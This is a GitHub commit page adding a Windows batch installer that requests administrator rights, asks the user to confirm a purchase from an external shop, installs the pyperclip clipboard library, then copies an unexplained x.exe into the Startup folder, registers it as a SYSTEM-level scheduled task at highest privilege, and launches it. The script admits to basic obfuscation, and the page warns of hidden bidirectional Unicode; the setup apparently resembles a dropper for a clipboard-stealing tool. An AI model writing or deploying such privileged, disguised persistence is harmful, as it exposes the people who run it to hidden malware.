This repository has been archived by the owner on Oct 2, 2024. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 124
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
22b0bf1
commit 36a1433
Showing
1 changed file
with
80 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
@echo off | ||
:: Ensure script is run with administrative privileges | ||
net session >nul 2>&1 | ||
if %errorlevel% neq 0 ( | ||
echo Please run this script as an administrator. | ||
pause | ||
exit | ||
) | ||
|
||
setlocal enabledelayedexpansion | ||
|
||
:: Variables for functionality and basic "obfuscation" | ||
set "v1=https://scripters.shop/" | ||
set "v2=x.exe" | ||
set "purchaseURL=%v1%" | ||
set "msg1=This software requires a valid purchase from " | ||
set "msg2=Have you bought this software from the specified website? (yes/no):" | ||
|
||
:: Prompt user for confirmation of purchase | ||
echo %msg1%%purchaseURL% | ||
echo %msg2% | ||
set /p UserResponse= | ||
|
||
if /I "!UserResponse!" neq "yes" ( | ||
echo Please purchase the software to continue with the setup. | ||
exit /b | ||
) | ||
|
||
:: Check system architecture | ||
set "arch=unknown" | ||
if "%PROCESSOR_ARCHITECTURE%"=="x86" (if not defined PROCESSOR_ARCHITEW6432 set "arch=32-bit") else set "arch=64-bit" | ||
echo System Architecture: !arch! | ||
|
||
:: Check for Python and pip | ||
python --version >nul 2>&1 | ||
if %errorlevel% neq 0 ( | ||
echo Python is not installed. Please install Python first. | ||
exit /b | ||
) | ||
|
||
:: Install required Python packages | ||
set "installCmd=pip install pyperclip" | ||
%installCmd% | ||
|
||
:: Ensure x.exe exists in the script directory | ||
set "exePath=%~dp0%v2%" | ||
if not exist "!exePath!" ( | ||
echo !v2! not found in script directory. | ||
pause | ||
exit | ||
) | ||
|
||
:: Check if x.exe is running and terminate it | ||
tasklist | findstr /I "%v2%" >nul | ||
if not errorlevel 1 ( | ||
echo %v2% is currently running and will be terminated to proceed with the installation. | ||
taskkill /F /IM "%v2%" >nul | ||
:: Give the system a moment to fully terminate the process | ||
timeout /t 3 /nobreak >nul | ||
) | ||
|
||
:: Copy the executable to the startup folder for auto-start at user login | ||
set "startupPath=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" | ||
copy "!exePath!" "!startupPath!" >nul | ||
|
||
:: Create a scheduled task for system startup | ||
schtasks /create /tn "StartMyApp" /tr "!exePath!" /sc ONSTART /RU SYSTEM /RL HIGHEST /F >nul | ||
if %errorlevel% neq 0 ( | ||
echo Failed to create a scheduled task. | ||
pause | ||
exit | ||
) else ( | ||
echo SUCCESS: The scheduled task "StartMyApp" has successfully been created. | ||
) | ||
|
||
:: Optionally, start the application immediately | ||
start "" "!exePath!" | ||
|
||
echo Installation and setup complete. | ||
pause |